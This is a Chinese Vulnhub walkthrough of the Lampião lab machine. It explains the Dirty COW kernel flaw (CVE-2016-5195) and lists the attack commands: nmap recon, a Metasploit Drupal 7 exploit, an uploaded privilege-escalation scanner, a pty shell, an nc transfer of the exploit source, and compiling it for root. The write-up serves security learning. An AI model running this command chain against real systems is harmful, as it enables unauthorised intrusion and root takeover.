【Vulnhub靶机】lampiao--DirtyCow

文章目录

      • 漏洞介绍
        • 简介
        • 原因
        • 类型
        • 版本
        • 危害
      • 信息收集
        • 主机扫描
        • 端口扫描
      • 漏洞探测
      • 漏洞利用
        • 权限提升
        • nc文件传输
        • 编译
      • 参考

靶机地址:lampiao

下载地址:Lampião: 1

漏洞介绍

简介

脏牛(Dirty Cow)是Linux内核的一个提权漏洞,之所以叫Dirty Cow,Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。脏牛的CVE编号是CVE-2016-5195。

原因

很多情况下,我们希望能够并行地去处理多个相同的进程(比如我们需要去并行计算一些东西),所以内核中就存在复制进程的操作,而fork()函数就是用来复制进程的函数,它可以拷贝当前进程的内存空间,创建一个新的内存空间,这样我们就拥有了两个完全一样的进程空间。但是这个复制过程是很耗费空间和时间的,因为每个子进程都有和父进程一样大的物理空间,但是这些进程可能并不会执行写的操作,也就是不会对原始的文件进行更改,那这种浪费就是没有必要的,所以我们采取了COW(Copy On Write)技术进行优化。

COW(Copy On Write)技术是一种内存管理技术,它在进程复制时,不会立即为进程分配物理内存,而是为进程建立虚拟的内存空间,将虚拟空间指向物理空间,便于读取文件;只有当需要执行文件写操作的时候,才会复制一份物理内存空间分配给它,然后进程在这个复制完的物理内存空间中进行修改,而不会影响其他进程。换句话说,在COW机制中,当多个进程共享一个只读文件的时候,内核会把该文件的内存映射到这些进程的虚拟地址空间中,这些进程都可以读取该文件的内容,当有进程要修改文件时,就会把这个原始文件的状态改成可写状态,然后内核会将该原始文件复制一份,原始文件再改回只读状态,然后进程就修改这份副本,而原始文件仍然可以被其它进程共享,这就是Copy-on-Write的核心思想。

原始只读文件——>修改为可写状态——>复制原始只读文件——>原始状态改回可读。

但是在这个过程中,存在竞态条件。假如现在多个进程同时共享一个只读文件,那么内核可能会把这个文件复制多次,使得每个进程可以修改,但是在内核将原始只读文件的访问状态从可写改回只读之前,多个进程都可以访问和修改原始文件,导致了竞态条件的产生,如果有恶意进程在这段时间进行了修改,那么修改的就是原始文件,从而产生了漏洞。

该漏洞利用了Copy-on-Write机制中的竞态条件,攻击者可以利用这个竞态条件来获取对一个本来只读的文件的写权限,从而提升为本地管理员权限。

类型

内核竞态条件漏洞

版本

Linux kernel>2.6.22的所有Linux系统(即:从2007年发布的2.6.22开始,到2016年10月18日为止,这中间发行的所有Linux系统都受影响)

危害

本地提权


信息收集

主机扫描
 sudo arp-scan -l 

image-20231102183039011

端口扫描
sudo nmap --min-rate 10000 -p- 192.168.8.29

image-20231102183156986

详情扫描

sudo nmap -sT -sC -sV -O -p 22,80,1898  192.168.8.29

image-20231102184153614

可以看到1889端口使用的是Drupal7的CMS

漏洞探测

访问80

image-20231102184624629

访问1898

image-20231102184726820

通过指纹识别插件也可以看到是Drupal 7

image-20231102184946763

漏洞利用

使用msf

search drupal 7

image-20231102190629773

use 1
show options

image-20231102191158516

显示该模块的可用选项,发现我们需要指定主机和端口

set rhosts 192.168.8.29
set rport 1898
run

image-20231102191514664

查看一下当前的用户,发现不是root用户,证明需要进行本地提权,我们将放在攻击机上的漏洞探针脚本上传到靶机

getuid

image-20231102191648342

可以使用uname -a,找到相应的版本,并查看是否可以有相关漏洞可以利用

也可以使用相关探针进行探测,这里使用linux-exploit-suggester.sh

git clone https://github.com/mzet-/linux-exploit-suggester

image-20231102192012558

上传漏洞探测脚本

upload /home/kali/tools/linux-exploit-suggester/linux-exploit-suggester.sh   /tmp/demo.sh

image-20231102192321644

文件上传成功后,使用shell命令,执行提升权限,执行探测脚本

shell
python -c "import pty;pty.spawn('/bin/bash')"
chmod +x demo.sh
./demo.sh

image-20231102192459891

执行成功后,探测出了相应的信息及漏洞,我们就发现有一个漏洞就是脏牛漏洞(CVE-2016-5195)

image-20231102192735052

image-20231102192818613

权限提升

EXP地址:https://github.com/gbonacini/CVE-2016-5195

image-20231102200508408

nc文件传输

使用nc进行文件传输

靶机上进行监听

nc -l 5064 > dcow.cpp

kali攻击机

nc 192.168.8.29 5064 < dcow.cpp

image-20231102200550971

编译

靶机上进行编译生成一个可执行文件dcow

g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

或者直接输入 make 进行编译成可执行文件

image-20231102200817327

提权

image-20231102200911598

参考

  • https://dirtycow.ninja/
  • https://www.anquanke.com/post/id/84851

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/205066.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

osgSim扩展库

1.osgSim扩展库 osgSim是0SG的一个工具箱(NodeKit)&#xff0c;提供了仿真系统中以及染OpenFlight 数据库所需的特殊渲染功能&#xff0c;如地形高程图、光点节点和 DOF 变换节点等。 下面对一些可能会用到的类进行简单介绍。 1.1 DOFTransform类 osgSim::DOFTransform类是对 …

Jmeter接口测试:jmeter_HTTP Cookie管理器看这一篇文章就够了

HTTP Cookie管理器 HTTP Cookie管理器可以像浏览器一样自动存储和发送cookie&#xff0c;以这种自 动收集的方式收集到的cookie不会在cookie manager中进行展示&#xff0c;但是运行后&#xff0c; 可以通过 查看结果树&#xff08;监听器&#xff09;可以查看到cookie信息 除…

我的创作纪念日--成为创作者的 第1825天(5年) 啦

醉颜凉 &#xff0c;不知不觉今天已经是你成为创作者的 第1825天&#xff08;5年&#xff09; 啦。 机缘 1、作为一个创作者&#xff0c;我最初成为创作者的初心是出于对技术的热爱和对分享的渴望。我希望通过创作&#xff0c;将自己在实战项目中的经验分享给大家&#xff0c;…

计算机体系结构----指令系统(二)

本文仅供学习&#xff0c;不作任何商业用途&#xff0c;严禁转载。绝大部分资料来自----计算机系统结构教程(第二版)张晨曦等 计算机体系结构----指令系统&#xff08;二&#xff09; 2.1 指令系统结构的分类2.2 寻址方式2.3 MIPS 指令系统结构2.3.1 MIPS的寄存器2.3.2 MIPS的…

半同步复制与MHA高可用架构设计

各位道友好&#xff0c;鼠鼠我呀校招刚通过了移动的面试 &#xff0c;但是安排的岗位是偏远县城里面的岗位&#xff0c;各位能给给建议吗&#xff1f;鼠鼠我啊真不想有时候变成销售员去卖产品&#xff01;&#xff01;&#xff01; 半同步复制与MHA高可用架构设计 一、半同步复…

np.random.uniform() 采样得到的是一个高维立方体,而不是球体,为什么?

在代码中&#xff0c;采样是通过以下方式完成的&#xff1a; samples self.center np.random.uniform(-self.radius, self.radius, (num_samples, len(self.center))) 这里&#xff0c;np.random.uniform函数在每个维度独立地生成了一个介于-self.radius和self.radius之间的…

掌握Python BentoML:构建、部署和管理机器学习模型

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com BentoML是一个开源的Python框架&#xff0c;旨在简化机器学习模型的打包、部署和管理。本文将深入介绍BentoML的功能和用法&#xff0c;提供详细的示例代码和解释&#xff0c;帮助你更好地理解和应用这个强大的工…

ssm的鲜花销售系统(有报告)。Javaee项目。

演示视频&#xff1a; ssm的鲜花销售系统&#xff08;有报告&#xff09;。Javaee项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&#xff0c;通过Spring SpringMvc Mybatis…

springboot 2.x集成h2数据库

1.引入pom.xml <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId> </dependency> <dependency><groupId>com.h2database</groupId><artifactId>h2<…

pythonselenium自动化测试实战项目

说明&#xff1a;本项目采用流程控制思想&#xff0c;未引用unittest&pytest等单元测试框架 一.项目介绍 目的 测试某官方网站登录功能模块可以正常使用 用例 1.输入格式正确的用户名和正确的密码&#xff0c;验证是否登录成功&#xff1b; 2.输入格式正确的用户名和不…

机械臂仿真之vrep如添加视觉传感器

基于视觉的机械臂作业任务&#xff0c;如何在vrep中加入视觉传感器&#xff0c;并获取画面&#xff1f;

AIGC(生成式AI)试用 14 -- 画画

AIGC&#xff0c;内容生成&#xff0c;多多少少都可以达成&#xff0c;好与坏就看你如何引导、如何生成。 画画&#xff1f;本不想让写文本的去生成图片&#xff0c;但忍不住诱惑&#xff0c;小试一把&#xff0c;毕竟文档也是会要个插图的。 CSDN创作助手显然为文字生成而…

【LeetCode刷题笔记】160.相交链表

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; 更多算法知识专栏&#xff1a;算法分析&#x1f525; 给大家跳段街舞感谢…

PLC:200smart(13-16章)

PLC&#xff1a;200smart 第十三章2、带参子程序3、将子程序设置成库文件 第十三章 项目ValueValue主程序MAIN一个项目只能有一个&#xff0c;循环扫描子程序SBR_0项目中最多有128个&#xff0c;只有在调用时 才执行&#xff08;子程序可以嵌套其他子程序&#xff0c;最多八层…

【vue实战项目】通用管理系统:信息列表,信息录入

本文为博主的vue实战小项目系列中的第六篇&#xff0c;很适合后端或者才入门的小伙伴看&#xff0c;一个前端项目从0到1的保姆级教学。前面的内容&#xff1a; 【vue实战项目】通用管理系统&#xff1a;登录页-CSDN博客 【vue实战项目】通用管理系统&#xff1a;封装token操作…

JDK 动态代理从入门到掌握

快速入门 本文介绍 JDK 实现的动态代理及其原理&#xff0c;通过 ProxyGenerator 生成的动态代理类字节码文件 环境要求 要求原因JDK 8 及以下在 JDK 9 之后无法使用直接调用 ProxyGenerator 中的方法&#xff0c;不便于将动态代理类对应的字节码文件输出lombok为了使用 Sne…

Linux:docker的网络通信(7)

1.端口映射 端口映射---端口映射机制将容器内的服务提供给外部网络访问 启动容器时&#xff0c;不指定对应的端口&#xff0c;在容器外无法通过网络访问容器内的服务 可随机或指定映射端口范围 -P ---------大写P&#xff0c;开启随机端口 -p 宿主机端口&#xff1a;容器端口…

【java扫盲贴】final修饰变量

引用类型&#xff1a;地址不可变 //Java中的引用类型分为类&#xff08;class&#xff09;、接口&#xff08;interface&#xff09;、数组&#xff08;array&#xff09;和枚举&#xff08;enum&#xff09;。//string是特殊的引用类型&#xff0c;他的底层是被final修饰的字…

Python下利用Selenium获取动态页面数据

利用python爬取网站数据非常便捷&#xff0c;效率非常高&#xff0c;但是常用的一般都是使用BeautifSoup、requests搭配组合抓取静态页面&#xff08;即网页上显示的数据都可以在html源码中找到&#xff0c;而不是网站通过js或者ajax异步加载的&#xff09;&#xff0c;这种类型…

【排序,直接插入排序 折半插入排序 希尔插入排序】

文章目录 排序排序方法的分类插入排序直接插入排序折半插入排序希尔插入排序 排序 将一组杂乱无章的数据按照一定规律排列起来。将无序序列排成一个有序序列。 排序方法的分类 储存介质&#xff1a; 内部排序&#xff1a;数据量不大&#xff0c;数据在内存&#xff0c;无需…